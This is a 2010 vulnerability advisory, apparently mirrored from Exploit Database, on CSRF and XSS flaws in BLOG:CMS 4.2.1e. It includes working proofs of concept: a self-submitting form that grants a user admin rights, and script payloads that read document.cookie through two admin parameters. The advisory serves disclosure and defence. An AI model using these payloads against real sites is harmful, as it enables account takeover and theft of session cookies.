Blog:CMS 4.2.1e – Multiple Vulnerabilities

• Exploit Database
• 76 阅读

• 作者： High-Tech Bridge SA
  日期： 2010-12-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15743/

• Vulnerability ID: HTB22727
  Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_blogcms.html
  Product: BLOG:CMS
  Vendor: Radek Hulán ( http://blogcms.com/ ) 
  Vulnerable Version: 4.2.1.e and probably prior versions
  Vendor Notification: 30 November 2010 
  Vulnerability Type: CSRF (Cross-Site Request Forgery)
  Status: Not Fixed, Vendor Alerted
  Risk level: Low 
  Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 
  
  XSRF/CSRF:
  Vulnerability Details:
  The vulnerability exists due to failure in the "admin/libs/ADMIN.php" script to properly verify the source of HTTP request.
  
  Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  Attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  
  <form action="http://host/admin/index.php" method="post" name="main">
  <input type="hidden" name="action" value="changemembersettings">
  <input type="hidden" name="memberid" value="USER_UD">
  <input type="hidden" name="name" value="tester">
  <input type="hidden" name="realname" value="tester">
  <input type="hidden" name="password" value="">
  <input type="hidden" name="repeatpassword" value="">
  <input type="hidden" name="email" value="email@example.com">
  <input type="hidden" name="url" value="">
  <input type="hidden" name="admin" value="1">
  <input type="hidden" name="canlogin" value="1">
  <input type="hidden" name="notes" value="">
  <input type="hidden" name="deflang" value="">
  </form>
  <script>
  document.main.submit();
  </script>
  
  
  Stored XSS (HTB22724): 
  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "action.php" script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. Enter comment like <script>alert('XSS')</script> in "Add new comment" form.
  
  
  XSS (HTB22725):
  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "amount" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  
  <form action="http://host/admin/index.php" method="post" name="main">
  <input type="hidden" name="blogid" value="0">
  <input type="hidden" name="itemid" value="0">
  <input type="hidden" name="action" value="browseowncomments">
  <input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'>
  <input type="hidden" name="start" value="0">
  <input type="hidden" name="search" value="">
  </form>
  <script>
  document.main.submit();
  </script>
  
  Solution: Upgrade to the most recent version
  
  
  XSS(HTB22726):
  Vulnerability Details:
  User can execute arbitrary JavaScript code within the vulnerable application.
  
  The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "action" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
  
  An attacker can use browser to exploit this vulnerability. The following PoC is available:
  http://host/admin/index.php?action=settingsedit"><script>alert(document.cookie)</script>
  Solution: Upgrade to the most recent version
  

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